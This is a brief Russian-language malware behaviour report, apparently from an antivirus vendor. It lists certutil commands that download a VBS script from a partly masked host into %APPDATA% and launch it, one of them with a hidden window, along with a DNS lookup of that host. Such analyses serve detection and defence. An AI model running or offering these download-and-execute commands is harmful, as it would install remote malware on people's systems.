Техническая информация
- '<SYSTEM32>\cmd.exe' /c certutil -urlcache -split -f http://op##.info/NewTurkiCode.vbs %APPDATA%\snd.vbs && start %APPDATA%\snd.vbs
- DNS ASK op##.info
- '<SYSTEM32>\cmd.exe' /c certutil -urlcache -split -f http://op##.info/NewTurkiCode.vbs %APPDATA%\snd.vbs && start %APPDATA%\snd.vbs' (со скрытым окном)
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://op##.info/NewTurkiCode.vbs %APPDATA%\snd.vbs